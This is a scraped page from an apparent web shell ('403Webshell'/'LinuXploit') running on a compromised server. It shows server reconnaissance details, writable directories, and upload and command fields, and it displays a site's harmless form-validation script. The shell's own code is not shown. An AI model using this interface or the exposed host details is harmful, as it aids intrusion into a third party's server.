403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.148.107.92
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/js/pages.js
function changePic(x,ad_pic){
	document.getElementById('bigP').src='/members/uploads/'+x+'/'+ad_pic;
}
function CheckForm(){
	var em = /@/;
	if(document.rate_form.rev_name.value==""){
		window.alert('Please enter your name.');
		document.rate_form.rev_name.focus();
		return false;
	}
	if(!em.test(document.rate_form.rev_email.value)){
		alert("Please enter a valid email address.");
		document.rate_form.rev_email.focus();
		return false;
	}
	if(document.rate_form.rev_rating.value==""){
		window.alert('Please select your rating.');
		document.rate_form.rev_rating.focus();
		return false;
	 }
	if(document.rate_form.rev_comment.value==""){
		alert("Please enter your comment.");
		document.rate_form.rev_comment.focus();
		return false;
	} 
}
function showRateAdd(){
	//document.getElementById('rate_form').style.display='';
	var catTopPosition = jQuery('#review_form').offset().top;
	// When clicked scroll
	$('#rate_form').slideDown('slow');
	jQuery('html, body').animate({scrollTop:catTopPosition}, 'slow',function(){$('#addrev_btn').fadeOut('slow');});
	return false;
}

function hideRateAdd(){
	//document.getElementById('rate_form').style.display='none';
	$('#rate_form').slideUp('slow',function(){$('#addrev_btn').fadeIn('slow');});
}

function textCounter(field1, cntfield1, maxlimit) {
	var field = document.getElementById(field1);
	var cntfield= document.getElementById(cntfield1);
    if(field.value.length > maxlimit) // if too long...trim it!
	  field.value = field.value.substring(0, maxlimit);
	else cntfield.value = maxlimit - field.value.length;
}

Youez - 2016 - github.com/yon3zu
LinuXploit